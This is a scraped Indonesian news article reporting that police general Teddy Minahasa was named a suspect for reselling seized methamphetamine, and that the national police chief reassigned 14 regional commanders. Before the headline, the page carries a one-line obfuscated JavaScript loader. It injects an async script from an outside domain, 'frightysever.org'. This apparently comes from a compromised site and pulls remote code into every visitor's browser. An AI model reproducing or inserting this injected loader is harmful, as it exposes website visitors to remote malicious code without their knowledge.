(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kapolri Mutasi 14 Kapolda, Irjen Teddy Minahasa Tersangka Kasus Narkoba


KANALKALIMANTAN.COM, JAKARTA – Sebanyak 14 Kapolda dimutasi oleh Kapolri Jenderal Listyo Sigit Prabowo. Mutasi ini buntut dari ditangkapnya Irjen Pol Teddy Minahasa karena menjual kembali barang bukti narkoba jenis sabu.

Teddy Minahasa sempat menjalani pemeriksaan sebagak saksi pada Kamis (13/10/2022) malam. Kemudian gelar perkara yang dilakukan pada Jumat (14/10/2022) siang, Teddy Minahasa resmi menjadi tersangka.

Hal ini dikatakan Dirnarkoba Polda Metro Jaya, Kombes Mukti Juharsa. Dia menerangkan, bahwa status Teddy Minahasa sudah menjadi tersangka.

“Sudah menetapkan TM (Teddy Minahasa) sebagai tersangka,” katanya melansir dari Jabarnews.com -jaringan Suara.com.

 

 

Baca juga: KRONOLOGI Irjen Teddy Ditangkap Jual Barbuk Narkoba: Minta Sabu ke Kapolres, 5 Kg Ditukar Tawas, Dijual ke Bandar Perempuan

Diterangkan Mukti, Teddy Minahasa menjual kembali barang bukti narkoba hasil ungkap kasus kepada seorang bandar. Hingga akhirnya, jejak Teddy Minahasa tercium tersandung kasus pengedaran narkoba setelah Polda Metro Jaya menangkap sejumlah petugas polisi terkait peredaran narkoba.

Adapun oknum polisi yang ditangkap mulai dari pangkat Bripka, Kompol, dan AKBP. Satu orang diantaranya merupakan mantan Kapolres Bukittinggi.

Di hari yang sama juga Kapolri Jenderal Listyo Sigit Prabowo mengeluarkan telegram berisi mutasi terhadap 14 kapolda. Satu orang di antaranya adalah Irjen Teddy Minahasa yang sebelumnya akan dilantik menjadi Kapolda Jawa Timur.

Seperti diketahui, Irjen Teddy belum lama ini diangkat sebagai Kapolda Jawa Timur. Namun sebelum serah terima jabatan (sertijab) dilakukan, ia malah tersandung kasus narkoba.

Mutasi Irjen Teddy pun tertuang dalam Surat Telegram Kapolri dengan nomor ST/2224/X/KEP./2022 tertanggal 14 Oktober 2022. Dalam surat telegram yang ditandatangani AS SDM Polri Irjen Pol Wahyu Widada itu juga tercantum nama-nama kapolda yang dimutasi. Mutasi tersebut juga dikuatkan dengan adanya surat Keputusan Kapolri Nomor KEP/1386/X/2022.

Baca juga: Kapolri Marah, Irjen Teddy Minahasa Terlibat Narkoba, Sudah Ditahan!

Kepala Divisi Humas Polri, Irjen Dedi Prasetyo tak membantah penerbitan surat telegram tersebut. Mutasi di institusi Polri, kata Dedi, bertujuan untuk meningkatkan kinerja organisasi Polri.

“Ya betul, pembatalan IJP TM (Teddy Minahasa), penggantian para kapolda yang pensiun, dan promosi lainnya guna meningkatkan kinerja organisasi,” ujar Dedi kepada awak media, Jumat (14/10/2022) sore.

Sambil menjalani proses hukum yang menjeratnya, Irjen Teddy dimutasi menjadi Perwira Tinggi (Pati) Yanma Polri. Posisi lamanya sebagai Kapolda Jawa Timur akan digantikan oleh Irjen Toni Harmanto yang sebelumnya menjabat Kapolda Sumsel.

Selanjutnya, nama Irjen Hary Sudwijanto sebagai Kakorbinmas Baharkam Polri pun masuk dalam daftar mutasi tersebut. Mutasi pun dilakukan Kapolri terhadap Kapolda Sulut yang sebelumnya dijabat Irjen Mulyatno. Irjen Mulyatno selanjutnya akan menjabat Pati Polda Sulut. Posisi lamanya akan digantikan oleh Irjen Setyo Budiyanto yang sebelumnya menjabat Kapolda NTT. Kemudian Kadiv Hubinter Irjen Johanis ditunjuk sebagai Kapolda NTT.

Baca juga: Irjen Teddy Minahasa Minta Setoran 10 Kg dari Kapolres, Dijual 5 Kg ke Mami

Nama terakhir dalam daftar mutasi yang dilakukan Kapolri kali ini terdapat nama Irjen Risyapudin Nursin. Ia yang sebelumnya menjabat Kapolda Malut akan menduduki posisi barunya sebagai Koorsahli Kapolri. Posisi Kapolda Malut selanjutnya akan dijabat Irjen Midi Siswoko.

 

 

KRONOLOGI Irjen Teddy Ditangkap Jual Barbuk Narkoba: Minta Sabu ke Kapolres, 5 Kg Ditukar Tawas, Dijual ke Bandar Perempuan

 

Irjen Teddy Minahasa diduga menukar 5 kilogram barang bukti sabu dengan tawas. Barang bukti itu kemudian dijual kepada seorang pengedar narkoba bernama Linda Pujiastuti.

Berdasar informasi yang beredar, Irjen Teddy saat menjabat Kapolda Sumatera Barat memerintahkan penukaran barang bukti itu kepada Kapolres Bukit Tinggi AKBP Doddy Prawira Negara. Irjen Teddy kemudian memerintahkan kembali Doddy untuk menjual 2 kilogram sabu kepada Linda.

Merujuk sumber informasi yang sama, disebutkan 2 kilogram sabu itu dijual seharga SGD 241.000 atau setara Rp 300 juta. Uang tersebut kemudian diserahkan AKBP Doddy kepada Irjen Teddy.

Polda Metro Jaya dikabarkan turut menyita sisa sabu yang belum terjual di rumah Irjen Doddy. Barang bukti itu berjumlah sekitar 2 kilogram.

Suara.com -jaringan Kanalkalimantan.com, telah mencoba mengonfirmasi informasi ini kepada Kadiv Propam Polri Irjen Syahardiantono. Namun, hingga kekinian yang bersangkutan belum memberi jawaban.

Baca juga: RSD Idaman Siapkan SOP Pasien Kegawatdaruratan Bersama Relawan Emergency Banjarbaru

Sementara, Kapolri Jenderal Listyo Sigit Prabowo saat jumpa pers Jum’at (14/10/2022) sore tadi, menyebut pihaknya telah menerima informasi terkait dugaan jual beli sabu yang dilakukan Teddy.

“Saya kira dugaan keterlibatan yang bersangkutan menjual kita sudah mendapatkan,” kata Listyo di Gedung Rupatama Mabes Polri, Kebayoran Baru, Jakarta Selatan, Jumat (14/10/2022) sore.

 

Positif Narkoba

Sebelumnya, Polri membenarkan jika Irjen Teddy Minahasa positif mengkonsumsi narkoba. Hal ini berdasar hasil tes urine, darah, dan rambut.

“Ya dari urine, darah, rambut pakai laboratorium,” kata Kadiv Humas Mabes Polri Irjen Pol Dedi Prasetyo saat dikonfirmasi, Jum’at.

 

Jual 5 Kg Sabu

Berdasar informasi yang beredar, Teddy disebut menjual barang bukti narkoba jenis sabu seberat 5 kilogram. Barang bukti itu merupakan hasil pengungkapan kasus sabu seberat 41,4 kilogram di wilayah Sumatera Barat.

Merujuk informasi yang beredar, saat menjabat sebagai Kapolda Sumatera Barat Teddy meminta barang bukti 10 kilogram sabu kepada Kapolres. Dia lalu menjual 5 kilogram kepada seorang mami.

 

Kapolri : Terlibat Narkoba, Sudah Ditahan!

Kapolri Jenderal Listyo Sigit Prabowo menegaskan, Irjen Pol Teddy Minahasa memang benar terjerat kasus jual beli narkoba.

Baca juga: Baru 4 Hari Menjabat, Kapolda Jatim Teddy Minahasa Diciduk Diduga Terlibat Narkoba, Punya Kekayaan Rp 29,9 Miliar

Bahkan, Kapolri Jenderal Listyo mengungkapkan, Irjen Teddy Minahasa yang sudah ditunjuk sebagai Kapolda Jawa Timur, sudah diperiksa dan ditahan.

“Irjen TM sudah ditempatkan di tempat khusus,” kata Kapolri.

Listyo benar-benar marah terhadap kasus tersebut. Sebab, dia mengakui sudah berkali-kali memberi arahan kepada jajarannya agar tidak terlibat masalah narkoba.

“Sudah berkali-kali saya sampaikan kepada seluruh jajaran, bahwa tidak ada yang bermain-main dengan masalah narkoba. Yang namanya narkoba harus betul-betul diberantas. Dan saya sudah sampaikan, bahwa siapa pun yang terlibat, tidak peduli pangkatnya apa, jabatannya apa, pasti ditindak tegas,” kata Kapolri.

 

Kronologi penangkapan Irjen Teddy Minahasa.

“Beberapa hari lalu, Polda Metro Jaya melakukan pengungkapan jaringan gelap perdagangan narkoba. Awalnya dari laporan masyarakat, kemudian saat itu berhasil diamankan tiga orang pelaku,” kata dia.

Kemudian dilakukan pengembangan, ternyata mengarah dan melibatkan anggota Polri berpangkat brigadir kepala, komisaris.

“Jabatan kapolsek,” kata dia.

Atas dasar tersebut, Kapolri Jenderal Listyo meminta kasus itu dikembangkan. Penyelidikan lantas mengarah ke seorang pengedar sabu yang berkaitan dengan personel Polri berpangkat AKBP.

“AKBP, mantan Kapolres Bukit Tinggi,” sebutnya.

Selanjutnya, setelah memeriksa mantan Kapolres Bukit Tinggi, ternyata jejak perdagangan narkoba itu mengarah ke Irjen Teddy Minahasa yang baru empat hari menjabat Kapolda Jatim.

Baca juga: Sofa dari Kalsel Yakin Masuk Semi Final Cabang Lomba Karya Tulis Ilmiah MTQ Nasional XXIX

“Atas dasar tersebut, kemarin, saya minta Kadiv Propam Mabes Polri untuk menjemput dan melakukan pemeriksaan terhadap Irjen TM. Tadi pagi telah dilaksanakan gelar, dinyatakan Irjen TM dinyatakan pelanggar, dan ada penempatan khusus,” tegasnya.

Kapolri selanjutnya memerintahkan agar Kadiv Propam Polri Irjen Syahardiantono segera melaksanakan pemeriksaan etik.

“Nanti akan diancam hukuman pemecatan tidak hormat. Selain itu, saya juga minta Polda Metro Jaya meneruskan penanganan pidananya. Saya minta siapa pun itu, apakah masyarakat sipil, atau Polri, bahkan Irjen TM sekali pun, saya minta usut tuntas,” tegas Kapolri.

 

Irjen Teddy Minahasa Minta Setoran 10 Kg Sabu dari Kapolres

Sebelumnya, Kapolda Jawa Timur Irjen Pol Teddy Minahasa dikabarkan menjual barang bukti narkoba jenis sabu seberat 5 kilogram. Barang bukti itu merupakan hasil pengungkapan kasus sabu seberat 41,4 kilogram di wilayah Sumatera Barat.

Berdasar informasi yang beredar, saat menjabat sebagai Kapolda Sumatera Barat Teddy meminta barang bukti sabu 10 kilogram itu kepada Kapolres. Dia lalu menjual 5 kilogram kepada seorang mami.

Tak hanya menjual, Teddy dikabarkan juga positif mengonsumsi sabu.

Diketahui, Teddy baru saja ditunjuk sebagai Kapolda Jawa Timur menggantikan Irjen Pol Nico Afinta. Dia sebelumnya menjabat sebagai Kapolda Sumatera Barat.

Jum’at (14/10/2022) siang, Presiden Joko Widodo alias Jokowi mengumpulkan seluruh pejabat utama Polri, Kapolda, hingga Kapolres di Istana Kepresidenan, Jakarta. Mereka dikumpulkan untuk mendengarkan langsung arahan darinya.

 

Diduga Sudah Lama Jadi Pengguna Narkoba

Ketua Indonesia Police Watch (IPW), Sugeng Teguh Santoso menduga Kapolda Jawa Timur Irjen Teddy Minahasa tidak hanya sebagai pengguna narkoba. Melainkan diduga memiliki hubungan dengan jaringan pengedar narkoba.

“Kalau jenderal ya saya rasa bukan hanya pengguna, pasti terkait atau mengetahui adanya jaringan ini. Dia kan pasti mendapat suplai barang itu kalau dia jenderal,” ungkap Sugeng saat dihubungi, Jumat (14/10/2022).

Sugeng mengklaim IPW telah lama mendengar isu Teddy sebagai pengguna narkoba. Dia tak menyangka isu tersebut ternyata benar adanya.

“Pernah dengar isu, ternyata itu jadi kenyataan. Karena seorang pengguna narkoba itu ketergantungan,” bebernya.

Atas hal itu, IPW mendorong Kapolri Jenderal Listyo Sigit Prabowo untuk mengusut tuntas kasus ini. Termasuk mendalami keterlibatan Teddy dengan sindikat jaringan pengedar narkoba.

“Iya lah kita minta didalami, ini serius,” ujarnya. (Suara.com)

Editor : kk


Risa

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

12 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

12 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

13 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

16 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

19 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

19 jam ago

This website uses cookies.